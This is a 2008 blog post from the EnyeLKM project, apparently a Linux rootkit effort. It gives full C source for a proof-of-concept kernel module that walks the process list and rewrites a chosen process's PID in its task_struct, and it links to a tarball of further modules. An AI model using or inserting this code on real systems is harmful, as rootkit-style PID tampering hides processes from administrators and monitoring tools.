Change the PID in the Process Descriptor

January 23rd, 2008

Language / Lenguaje:

(To understand what I am about to explain I recommend to read Understanding The Linux Kernel (3rd Edition))

Now that I have some spare time for EnyeLKM, I will explain how to change the PID to a process in an easy way.

The method used is to run the process descriptor with the for_each_process macro to find the corresponding with a PID X that would be changed for another one.
(I recommend to researcht: task struct).

LKM to change a PID of a process:
/*
Project : EnyeLKM priv8 version
Module : Swapper DEMO (Fistconference Version)
Autor : David Reguera Garcia
-
Update : 28 November 2006
-
The spinlocks has been removed in this POC :P
*/

#include “Swapper.h”

static int pid_to_find = 0;
static int pid_to_change = 0;

#if LINUX_VERSION_CODE < KERNEL_VERSION(2,5,47)
MODULE_PARM( pid_to_find , “i” );
MODULE_PARM( pid_to_change , “i” );
#else
module_param( pid_to_find , int, S_IRUGO );
module_param( pid_to_change , int, S_IRUGO );
#endif

int init_module( void )
{
struct task_struct * actual_task;

if ( ( pid_to_find == 0 ) || ( pid_to_change == 0 ) )
{
printk( KERN_INFO “Swapper Syntax: pid_to_find=pid pid_to_change=pid.\n” );
return -1;
}

for_each_process( actual_task )
{
if ( actual_task->pid == pid_to_find )
{
printk( KERN_INFO “Found process: %d.\n”, actual_task->pid );
actual_task->pid = pid_to_change;
printk( KERN_INFO “Change to: %d.\n”, actual_task->pid );
return 0;
}
}
printk( KERN_INFO “Not found process: %d.\n”, pid_to_find );
return -1;
}

void cleanup_module( void )
{
printk( KERN_INFO “Swapper descargado\n” );
}

/* EOF */

Code (LKMs) with scripts to facilitate the job:

swapping_and_list_pids_from_pd.tar.gz


Posted by David Reguera Garcia

Blog new users

January 23rd, 2008

Language / Lenguaje:


Posted by David Reguera Garcia

Translation to english

January 23rd, 2008

Language / Lenguaje:


Posted by David Reguera Garcia

Hiding remote access

April 3rd, 2007

Language / Lenguaje:


Posted by RaiSe

Remembering Nethox post

March 24th, 2007

Language / Lenguaje:


Posted by David Reguera Garcia

EnyeLKM 1.1.4-fix

March 24th, 2007

Language / Lenguaje:


Posted by David Reguera Garcia

EnyeLKM 1.1.4

March 23rd, 2007

Language / Lenguaje:


Posted by David Reguera Garcia

EnyeLKM 1.1.3

March 22nd, 2007

Language / Lenguaje:


Posted by David Reguera Garcia

Basic platform.

March 20th, 2007

Language / Lenguaje:


Posted by David Reguera Garcia

We’re open again

March 20th, 2007

Language / Lenguaje:


Posted by David Reguera Garcia